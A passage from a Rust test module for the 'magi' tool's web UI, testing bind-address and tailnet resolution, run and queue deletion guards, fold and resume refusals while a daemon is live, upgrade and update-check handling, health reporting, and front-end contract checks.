6627 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
6628 assert!("everywhere".parse::<Bind>().is_err());
6629 }
6630
6631 #[test]
6632 fn an_explicit_bind_address_is_taken_verbatim() {
6633 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
6634
6635 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
6636
6637 assert_eq!(addr, asked);
6638 assert!(
6639 warning.is_none(),
6640 "an operator who named an address gets no lecture"
6641 );
6642 }
6643
6644 #[test]
6645 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
6646 let (addr, warning) = resolve_bind(&Bind::Auto);
6647
6648 match addr {
6655 IpAddr::V4(ip) if is_tailnet(&ip) => {
6656 assert!(warning.is_none(), "a tailnet address needs no warning");
6657 }
6658 other => {
6659 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
6660 let warning = warning.expect("a fallback has to explain itself");
6661 assert!(
6662 warning.contains("127.0.0.1") && warning.contains("local-only"),
6663 "the warning says what happened and what it costs: {warning}"
6664 );
6665 }
6666 }
6667 }
6668
6669 #[test]
6670 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
6671 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
6675 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
6676 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
6677 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
6678 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
6679 }
6680
6681 #[test]
6682 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
6683 let ids = vec![
6684 "20260902-140501-aaaa".to_owned(),
6685 "20260902-140502-aabb".to_owned(),
6686 ];
6687
6688 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
6689 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
6690 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
6691
6692 assert_eq!(missing.status, StatusCode::NOT_FOUND);
6693 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
6694 assert_eq!(short, "20260902-140502-aabb");
6695 }
6696 #[tokio::test]
6697 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
6698 let fx = Fixture::start().await;
6704 let id = panel(
6705 &fx,
6706 "<img src=\"shot.png\">",
6707 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
6708 );
6709
6710 let doc = fx
6712 .get(&format!("/api/questions/{id}/panel/index.html"))
6713 .await;
6714 assert_eq!(doc.status, 200, "{}", doc.body);
6715 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
6716
6717 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
6718 assert_eq!(sibling.status, 200, "{}", sibling.body);
6719 assert_eq!(sibling.header("content-type"), Some("image/png"));
6720 assert_eq!(
6721 sibling.header("content-security-policy"),
6722 Some(PANEL_CSP),
6723 "the sibling route must carry the same policy as the asset route"
6724 );
6725
6726 assert_eq!(
6729 fx.head(&format!("/api/questions/{id}/panel")).await.status,
6730 200
6731 );
6732 }
6733
6734 #[test]
6735 fn runs_revision_moves_when_deleting_an_older_run() {
6736 let temp = TempDir::new().expect("tempdir");
6737 let runs = temp.path().join("runs");
6738 std::fs::create_dir_all(&runs).expect("create runs dir");
6739
6740 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
6741
6742 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
6743 std::thread::sleep(Duration::from_millis(10));
6744 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
6745
6746 let rev_before = runs_revision(&runs);
6747 assert!(rev_before > 0);
6748
6749 let old_dir = runs.join("20260901-100000-old1");
6750 std::fs::remove_dir_all(&old_dir).expect("remove old run");
6751
6752 let rev_after = runs_revision(&runs);
6753 assert_ne!(
6754 rev_before, rev_after,
6755 "deleting an older run must change the revision so other clients see the deletion"
6756 );
6757 }
6758
6759 fn write_state(runs: &FsPath, state: &RunState) {
6764 let dir = runs.join(&state.id);
6765 std::fs::create_dir_all(&dir).expect("run dir");
6766 std::fs::write(
6767 dir.join("run.json"),
6768 serde_json::to_string_pretty(state).expect("serialize run"),
6769 )
6770 .expect("write run.json");
6771 }
6772
6773 #[test]
6778 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
6779 let temp = TempDir::new().expect("tempdir");
6780 let runs = temp.path().join("runs");
6781 std::fs::create_dir_all(&runs).expect("create runs dir");
6782 let mut state = RunState::new(
6783 PathBuf::from("/repo/magi"),
6784 "main".to_owned(),
6785 "0123456789abcdef".to_owned(),
6786 "task".to_owned(),
6787 Config::default(),
6788 );
6789 state.id = "20260902-100000-c0de".to_owned();
6790 write_state(&runs, &state);
6791
6792 let rev_idle = runs_revision(&runs);
6793 std::thread::sleep(Duration::from_millis(10));
6794 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
6795 write_state(&runs, &state);
6796 let rev_started = runs_revision(&runs);
6797 assert_ne!(
6798 rev_idle, rev_started,
6799 "a seat starting must move the revision"
6800 );
6801
6802 std::thread::sleep(Duration::from_millis(10));
6803 state.seat_finished("judge-1");
6804 write_state(&runs, &state);
6805 let rev_finished = runs_revision(&runs);
6806 assert_ne!(
6807 rev_started, rev_finished,
6808 "and clearing it again must move the revision a second time"
6809 );
6810 }
6811
6812 #[tokio::test]
6813 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
6814 let fx = Fixture::start().await;
6815 let q = fx.queue();
6816
6817 let mut t1 = Task::new(
6819 "Task 1".to_owned(),
6820 "Instruction 1".to_owned(),
6821 PathBuf::from("/repo"),
6822 Source::Human,
6823 );
6824 let run_id = "20260901-000000-r111";
6825 t1.runs.push(run_id.to_owned());
6826 write_run(&fx.runs(), run_id, RunStatus::Merged);
6827 q.put(&mut t1).expect("put t1");
6828
6829 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
6831 assert_eq!(res.status, 204);
6832 assert!(res.body.is_empty(), "204 No Content has no body");
6833 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
6834 assert!(
6835 fx.runs().join(run_id).exists(),
6836 "run directory must not be deleted when its task is deleted"
6837 );
6838
6839 let mut t2 = Task::new(
6841 "Task 2".to_owned(),
6842 "Instruction 2".to_owned(),
6843 PathBuf::from("/repo"),
6844 Source::Human,
6845 );
6846 t2.status = TaskStatus::Running;
6847 q.put(&mut t2).expect("put t2");
6848 let mut beat = crate::daemon::Status::new();
6849 beat.current = vec![crate::daemon::Current {
6850 task: t2.id.clone(),
6851 run: "20260901-000000-r222".to_owned(),
6852 }];
6853 beat.updated_at = jiff::Timestamp::now();
6854 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6855 .expect("publish a heartbeat");
6856 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6857 assert_eq!(res.status, 409);
6858 assert!(
6859 res.json()["error"]
6860 .as_str()
6861 .unwrap()
6862 .contains("live daemon")
6863 );
6864 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6865
6866 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6872 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6873 .expect("leave a stale heartbeat");
6874 let mut t3 = Task::new(
6875 "Task 3".to_owned(),
6876 "Instruction 3".to_owned(),
6877 PathBuf::from("/repo"),
6878 Source::Human,
6879 );
6880 t3.status = TaskStatus::Running;
6881 q.put(&mut t3).expect("put t3");
6882 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6883 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6884 assert_eq!(res.status, 204);
6885 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6886 assert!(
6887 q.claim(&t3.id).is_ok(),
6888 "the stale lock went with it, so the id is claimable again"
6889 );
6890
6891 let res = fx.delete("/api/queue/nonexistent").await;
6893 assert_eq!(res.status, 404);
6894 }
6895
6896 #[tokio::test]
6897 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6898 let fx = Fixture::start().await;
6899 let runs = fx.runs();
6900
6901 let run_id = "20260901-000000-fold";
6903 let mut state = RunState::new(
6904 PathBuf::from("/repo"),
6905 "main".to_owned(),
6906 "abc".to_owned(),
6907 "instruction".to_owned(),
6908 Config::default(),
6909 );
6910 state.id = run_id.to_owned();
6911 state.status = RunStatus::Merged;
6912 state.candidates.push(crate::run::Candidate {
6913 index: 0,
6914 label: 'A',
6915 agent: "a".to_owned(),
6916 branch: "b".to_owned(),
6917 worktree: PathBuf::from("/w"),
6918 summary: String::new(),
6919 stat: String::new(),
6920 files: 1,
6921 commits: 1,
6922 empty: false,
6923 failed: None,
6924 duration_ms: 0,
6925 folded: true,
6926 });
6927 let dir = runs.join(run_id);
6928 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6929 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6930 .expect("write artifact");
6931 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6932 .expect("write run.json");
6933
6934 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6936 assert_eq!(res.status, 204);
6937 assert!(res.body.is_empty(), "204 has no body");
6938 assert!(!dir.exists(), "run directory and artifacts must be deleted");
6939
6940 let run_running = "20260901-000000-rung";
6945 write_run(&runs, run_running, RunStatus::Prep);
6946 let mut beat = crate::daemon::Status::new();
6947 beat.current = vec![crate::daemon::Current {
6948 task: "20260901-000000-task".to_owned(),
6949 run: run_running.to_owned(),
6950 }];
6951 beat.updated_at = jiff::Timestamp::now();
6952 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6953 .expect("publish a heartbeat");
6954 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6955 assert_eq!(res.status, 409);
6956 assert!(
6957 res.json()["error"]
6958 .as_str()
6959 .unwrap()
6960 .contains("live daemon"),
6961 "the refusal must say who is holding it"
6962 );
6963 assert!(
6964 runs.join(run_running).exists(),
6965 "a run in flight keeps its directory"
6966 );
6967
6968 let run_unfolded = "20260901-000000-unfd";
6970 let mut state2 = RunState::new(
6971 PathBuf::from("/repo"),
6972 "main".to_owned(),
6973 "abc".to_owned(),
6974 "instruction".to_owned(),
6975 Config::default(),
6976 );
6977 state2.id = run_unfolded.to_owned();
6978 state2.status = RunStatus::Ready;
6979 state2.candidates.push(crate::run::Candidate {
6980 index: 0,
6981 label: 'A',
6982 agent: "a".to_owned(),
6983 branch: "b".to_owned(),
6984 worktree: PathBuf::from("/w"),
6985 summary: String::new(),
6986 stat: String::new(),
6987 files: 1,
6988 commits: 1,
6989 empty: false,
6990 failed: None,
6991 duration_ms: 0,
6992 folded: false,
6993 });
6994 let dir2 = runs.join(run_unfolded);
6995 std::fs::create_dir_all(&dir2).expect("create dir2");
6996 std::fs::write(
6997 dir2.join("run.json"),
6998 serde_json::to_string(&state2).unwrap(),
6999 )
7000 .expect("write run.json");
7001
7002 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7003 assert_eq!(res.status, 409);
7004 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7005 assert!(dir2.exists(), "unfolded run directory is kept");
7006
7007 let res = fx.delete("/api/runs/nonexistent").await;
7009 assert_eq!(res.status, 404);
7010 }
7011
7012 #[test]
7013 fn web_ui_delete_contract_in_front_end() {
7014 assert!(APP_JS.contains("deleteRun:"));
7016 assert!(APP_JS.contains("deleteTask:"));
7017
7018 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7020 ..APP_JS.find("function renderRuns").unwrap()];
7021 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7022
7023 assert!(APP_JS.contains("renderRunDelete"));
7025 assert!(APP_JS.contains("runDeleteReason"));
7026 assert!(APP_JS.contains("magi fold"));
7027 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7028
7029 assert!(APP_JS.contains("cancel.focus"));
7031 assert!(APP_JS.contains("armedRunDelete"));
7032 assert!(APP_JS.contains("armedDelete"));
7033
7034 assert!(APP_JS.contains("disabled: status === \"running\""));
7036 }
7037
7038 #[test]
7058 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7059 let build = APP_JS
7060 .find("function createRunCard")
7061 .expect("createRunCard exists");
7062 let update = APP_JS
7063 .find("function updateRunCard")
7064 .expect("updateRunCard exists");
7065 let end = APP_JS
7066 .find("function renderRuns")
7067 .expect("renderRuns exists");
7068
7069 let builder = &APP_JS[build..update];
7071 let open = builder.find("refs = {").expect("createRunCard sets refs");
7072 let literal = &builder[open + "refs = {".len()..];
7073 let close = literal.find('}').expect("the refs literal is closed");
7074 let published: HashSet<&str> = literal[..close]
7075 .split(',')
7076 .filter_map(|entry| entry.split(':').next())
7078 .map(str::trim)
7079 .filter(|name| !name.is_empty())
7080 .collect();
7081 assert!(
7082 published.len() > 5,
7083 "the refs literal did not parse into names: {published:?}"
7084 );
7085
7086 let mut used: Vec<&str> = Vec::new();
7089 let updaters = &APP_JS[update..end];
7090 for (at, _) in updaters.match_indices("r.") {
7091 let before = updaters[..at].chars().next_back();
7094 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7095 continue;
7096 }
7097 let rest = &updaters[at + 2..];
7098 let len = rest
7099 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7100 .unwrap_or(rest.len());
7101 if len > 0 {
7102 used.push(&rest[..len]);
7103 }
7104 }
7105 assert!(
7106 used.len() > 5,
7107 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7108 );
7109
7110 let missing: Vec<&str> = used
7111 .iter()
7112 .copied()
7113 .filter(|name| !published.contains(name))
7114 .collect();
7115 assert!(
7116 missing.is_empty(),
7117 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7118 never put in `refs` - every card will throw and the list will \
7119 render empty under a count line that says otherwise. Published: \
7120 {published:?}"
7121 );
7122 }
7123
7124 #[tokio::test]
7125 async fn folding_from_the_phone_reports_what_it_removed() {
7126 let fx = Fixture::start().await;
7127 let runs = fx.runs();
7128
7129 let id = "20260901-000000-fold";
7133 write_run(&runs, id, RunStatus::Stalled);
7134 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7135 assert_eq!(res.status, 200);
7136 assert_eq!(res.json()["removed_count"], 0);
7137 assert_eq!(res.json()["run"], id);
7138 assert!(
7139 runs.join(id).exists(),
7140 "a fold keeps the run's record; only the worktrees go"
7141 );
7142 }
7143
7144 #[tokio::test]
7145 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7146 let fx = Fixture::start().await;
7147 let runs = fx.runs();
7148 let wt = fx.home.path().join("wt").join("magi").join("dead");
7149 let id = "20260901-000000-dead";
7150 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7151 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7152 std::fs::create_dir_all(&wt).expect("worktree dir");
7153
7154 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7155 assert_eq!(res.status, 200, "{}", res.body);
7156 assert!(
7157 res.json()["removed_count"].as_u64().unwrap() > 0,
7158 "the worktree this build could not read a state for still went"
7159 );
7160 assert!(
7161 !runs.join(id).exists(),
7162 "an unreadable run has no candidate list to fold selectively, so \
7163 the whole record goes - same as `magi fold` on the CLI"
7164 );
7165 }
7166
7167 #[tokio::test]
7168 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7169 let fx = Fixture::start().await;
7170 let runs = fx.runs();
7171 let wt = fx.home.path().join("wt").join("magi").join("gone");
7172 let id = "20260901-000000-gone";
7173 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7174 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7175 std::fs::create_dir_all(&wt).expect("worktree dir");
7176
7177 let res = fx.delete(&format!("/api/runs/{id}")).await;
7178 assert_eq!(res.status, 204, "{}", res.body);
7179 assert!(!runs.join(id).exists(), "the broken record is gone");
7180 assert!(!wt.exists(), "its worktree is gone too");
7181 }
7182
7183 #[tokio::test]
7184 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7185 let fx = Fixture::start().await;
7186 let runs = fx.runs();
7187 let id = "20260901-000000-live";
7188 write_run(&runs, id, RunStatus::Implementing);
7189
7190 let mut beat = crate::daemon::Status::new();
7191 beat.current = vec![crate::daemon::Current {
7192 task: "20260901-000000-task".to_owned(),
7193 run: id.to_owned(),
7194 }];
7195 beat.updated_at = jiff::Timestamp::now();
7196 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7197 .expect("publish a heartbeat");
7198
7199 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7200 assert_eq!(res.status, 409);
7201 assert!(
7202 res.json()["error"]
7203 .as_str()
7204 .unwrap()
7205 .contains("live daemon"),
7206 "folding under a running agent would pull its worktree away"
7207 );
7208 }
7209
7210 #[tokio::test]
7211 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7212 let fx = Fixture::start().await;
7213 let runs = fx.runs();
7214
7215 for (status, word) in [
7221 (RunStatus::Merged, "merged"),
7222 (RunStatus::Ready, "ready"),
7223 (RunStatus::Failed, "failed"),
7224 ] {
7225 let id = format!("20260901-000000-{}", &word[..4]);
7226 write_run(&runs, &id, status);
7227 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7228 assert_eq!(res.status, 409, "{word} must not be resumable");
7229 let err = res.json()["error"].as_str().unwrap().to_owned();
7230 assert!(err.contains(word), "the refusal names the status: {err}");
7231 }
7232
7233 let mid = "20260901-000000-midf";
7238 write_run(&runs, mid, RunStatus::Reviewing);
7239 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7240 assert_eq!(res.status, 202, "an interrupted run is resumable");
7241 }
7242
7243 #[tokio::test]
7244 async fn resume_is_refused_while_the_loop_is_running() {
7245 let fx = Fixture::start().await;
7246 let runs = fx.runs();
7247 let stalled = "20260901-000000-stal";
7248 write_run(&runs, stalled, RunStatus::Stalled);
7249
7250 let mut beat = crate::daemon::Status::new();
7254 beat.current = vec![crate::daemon::Current {
7255 task: "20260901-000000-task".to_owned(),
7256 run: "20260901-000000-othr".to_owned(),
7257 }];
7258 beat.updated_at = jiff::Timestamp::now();
7259 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7260 .expect("publish a heartbeat");
7261
7262 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7263 assert_eq!(res.status, 409);
7264 let err = res.json()["error"].as_str().unwrap().to_owned();
7265 assert!(err.contains("othr"), "it names what the loop is on: {err}");
7266 assert!(err.contains("stop it first"), "{err}");
7267 }
7268
7269 #[test]
7270 fn a_run_cannot_be_resumed_twice_at_once() {
7271 let home = TempDir::new().expect("temp home");
7272 let ui = Ui::new(
7273 Queue::at(home.path().join("queue")),
7274 Questions::at(home.path().join("questions")),
7275 Chats::at(home.path().join("chats")),
7276 Talks::at(home.path().join("talks")),
7277 home.path().join("runs"),
7278 home.path().to_path_buf(),
7279 PathBuf::from("/repo"),
7280 )
7281 .with_worktrees_root(home.path().join("wt"));
7282 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7283 let again = ui.begin_resume("20260901-000000-once");
7284 assert!(again.is_err(), "a second tap must not start a second graph");
7285 drop(first);
7286 assert!(
7287 ui.begin_resume("20260901-000000-once").is_ok(),
7288 "and the claim is released when the attempt ends"
7289 );
7290 }
7291
7292 #[test]
7293 fn refreshing_a_conversation_never_navigates_to_it() {
7294 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
7301 ..APP_JS.find("async function startChat(").expect("startChat")];
7302 assert!(
7303 !body.contains("state.chatDetail = {"),
7304 "loadChat must not decide which conversation is on screen: {body}"
7305 );
7306 assert!(
7307 body.contains("if (state.chatDetail.id !== id) return;"),
7308 "it returns instead of drawing a chat the operator is not reading"
7309 );
7310
7311 assert!(
7315 body.find("trackIfThinking(chat)")
7316 < body.find("if (state.chatDetail.id !== id) return;"),
7317 "settle the wait before the on-screen check"
7318 );
7319
7320 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
7322 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
7323 }
7324
7325 #[tokio::test]
7326 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7327 let fx = Fixture::start().await;
7328 let mut beat = crate::daemon::Status::new();
7332 beat.pid = 4321;
7333 beat.updated_at = jiff::Timestamp::now();
7334 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7335 .expect("publish a heartbeat");
7336
7337 let res = fx.post("/api/upgrade", None).await;
7338 assert_eq!(res.status, 409);
7339 let err = res.json()["error"].as_str().unwrap().to_owned();
7340 assert!(err.contains("4321"), "the refusal names the owner: {err}");
7341 assert!(err.contains("old one against the same queue"), "{err}");
7342 }
7343
7344 #[test]
7351 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7352 assert!(!should_spawn_recheck(&crate::config::Update {
7353 mode: UpdateMode::Off,
7354 interval: None,
7355 }));
7356
7357 unsafe {
7360 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7361 }
7362 let killed = should_spawn_recheck(&crate::config::Update {
7363 mode: UpdateMode::Notify,
7364 interval: None,
7365 });
7366 unsafe {
7367 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7368 }
7369 assert!(
7370 !killed,
7371 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7372 one-time startup check"
7373 );
7374
7375 assert!(should_spawn_recheck(&crate::config::Update {
7376 mode: UpdateMode::Notify,
7377 interval: None,
7378 }));
7379 }
7380
7381 #[test]
7387 fn recheck_poll_period_tracks_a_short_configured_interval() {
7388 let short = crate::config::Update {
7389 mode: UpdateMode::Notify,
7390 interval: Some("1m".to_owned()),
7391 };
7392 let period = recheck_poll_period(&short);
7393 assert!(
7394 period <= Duration::from_secs(30),
7395 "a one-minute interval must wake the task far sooner than the \
7396 default ceiling, or the deck would not notice within the \
7397 interval the operator configured: got {period:?}"
7398 );
7399
7400 let default = crate::config::Update {
7401 mode: UpdateMode::Notify,
7402 interval: None,
7403 };
7404 assert_eq!(
7405 recheck_poll_period(&default),
7406 UPDATE_RECHECK_POLL_MAX,
7407 "the default day-long interval should poll at the (capped) \
7408 ceiling rather than needlessly often"
7409 );
7410 }
7411
7412 #[test]
7420 fn recheck_skips_the_network_before_the_interval_elapses() {
7421 let dir = TempDir::new().expect("temp dir");
7422 let path = dir.path().join("state.json");
7423 let state = kaishin::UpdateCheckState {
7424 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7425 last_known_latest: None,
7426 last_known_url: None,
7427 };
7428 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7429
7430 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7431 assert!(
7432 !update_recheck_due(&checker, None),
7433 "a check made moments ago must not be repeated before the \
7434 configured interval elapses"
7435 );
7436 }
7437
7438 #[test]
7444 fn recheck_defers_to_an_upgrade_already_in_flight() {
7445 let dir = TempDir::new().expect("temp dir");
7446 let path = dir.path().join("state.json");
7447 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7448 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7449
7450 assert!(
7451 !update_recheck_due(&checker, Some(&progress)),
7452 "a recheck must not run while an upgrade this deck started is \
7453 still moving"
7454 );
7455 }
7456
7457 #[tokio::test]
7458 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7459 unsafe {
7471 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7472 }
7473 let fx = Fixture::start().await;
7474 let res = fx.post("/api/upgrade", None).await;
7475 unsafe {
7476 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7477 }
7478 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7479 let body = res.json();
7480 assert!(body["to"].is_null(), "there was no release to move to");
7481 assert!(body["parked"].is_null(), "and nothing was parked");
7482 assert!(
7483 body["detail"]
7484 .as_str()
7485 .unwrap()
7486 .contains("disabled by MAGI_NO_AUTOUPDATE"),
7487 "{body:?}"
7488 );
7489 }
7490
7491 #[tokio::test]
7492 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7493 let repo = TempDir::new().expect("repo dir");
7509 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7510 .expect("write magi.toml");
7511 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7512
7513 let res = fx.post("/api/upgrade", None).await;
7519 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7520 let body = res.json();
7521 assert!(body["to"].is_null(), "there was no release to move to");
7522 assert!(body["parked"].is_null(), "and nothing was parked");
7523 assert!(
7524 body["detail"]
7525 .as_str()
7526 .unwrap()
7527 .contains("nothing restarted"),
7528 "{body:?}"
7529 );
7530 }
7531
7532 #[tokio::test]
7533 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7534 let repo = TempDir::new().expect("repo dir");
7539 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7540 .expect("write magi.toml");
7541 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7542
7543 let health = fx.get("/api/health").await.json();
7544 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7545 assert_eq!(
7546 health["update"]["available"], false,
7547 "checking is off, which reads as \"unknown\", not \"none\""
7548 );
7549 assert!(health["update"]["to"].is_null());
7550 assert!(
7551 health["upgrade"].is_null(),
7552 "nothing has ever asked this deck to upgrade"
7553 );
7554 }
7555
7556 #[tokio::test]
7557 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
7558 let fx = Fixture::start().await;
7559 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
7560
7561 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7562 progress.parked_run = Some("20260905-000000-cd51".to_owned());
7563 progress.advance(crate::updater::Stage::Parking);
7564 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7565
7566 let health = fx.get("/api/health").await.json();
7567 assert_eq!(health["upgrade"]["stage"], "parking");
7568 assert_eq!(health["upgrade"]["from"], "0.5.1");
7569 assert_eq!(health["upgrade"]["to"], "0.5.2");
7570 let waiting_on = health["upgrade"]["waiting_on"]
7571 .as_str()
7572 .expect("waiting_on is set while parking a known run");
7573 assert!(waiting_on.contains("cd51"), "{waiting_on}");
7574 assert!(waiting_on.contains("implementing"), "{waiting_on}");
7575 }
7576
7577 #[tokio::test]
7578 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
7579 let fx = Fixture::start().await;
7580 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7581 progress.advance(crate::updater::Stage::Done);
7582 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7583
7584 let health = fx.get("/api/health").await.json();
7585 assert_eq!(health["upgrade"]["stage"], "done");
7586 assert!(
7587 health["upgrade"]["waiting_on"].is_null(),
7588 "nothing to wait on once it is done"
7589 );
7590 }
7591
7592 #[tokio::test]
7593 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
7594 let home = TempDir::new().expect("temp home");
7595 let runs = home.path().join("runs");
7596 std::fs::create_dir_all(&runs).expect("runs dir");
7597 let ui = Ui::new(
7598 Queue::at(home.path().join("queue")),
7599 Questions::at(home.path().join("questions")),
7600 Chats::at(home.path().join("chats")),
7601 Talks::at(home.path().join("talks")),
7602 runs,
7603 home.path().to_path_buf(),
7604 PathBuf::from("/repo/magi"),
7605 )
7606 .with_launch(launch_idle);
7607 let looping = ui.looping();
7608 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7609 .await
7610 .expect("bind loopback");
7611 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7612
7613 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7614 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
7615
7616 hand_over(home.path(), &looping, served, || Ok(()))
7617 .await
7618 .expect("hand over");
7619
7620 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
7621 assert_eq!(
7622 after.stage,
7623 crate::updater::Stage::Restarting,
7624 "hand_over owns the record through parking and up to restarting; \
7625 the successor is what finishes it"
7626 );
7627 }
7628
7629 #[test]
7630 fn the_upgrade_button_arms_before_it_restarts_anything() {
7631 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
7634 assert!(APP_JS.contains("Replace the binary and restart?"));
7635 assert!(APP_JS.contains("function confirmed("));
7636 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
7641 assert!(
7645 APP_JS.contains("Parking, then restarting"),
7646 "the button says what it is waiting for"
7647 );
7648 assert!(APP_JS.contains("if (!out.to)"));
7651 }
7652
7653 #[test]
7654 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
7655 assert!(
7656 APP_JS.contains("state.health.version"),
7657 "the operator wants to know what is running even with nothing newer"
7658 );
7659 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
7660 }
7661
7662 #[test]
7663 fn the_upgrade_button_names_its_destination() {
7664 assert!(
7665 APP_JS.contains("`Update to ${update.to}`"),
7666 "pressing the button should not be a surprise about what it moves to"
7667 );
7668 }
7669
7670 #[test]
7671 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
7672 for stage in ["downloading", "replaced", "parking", "restarting"] {
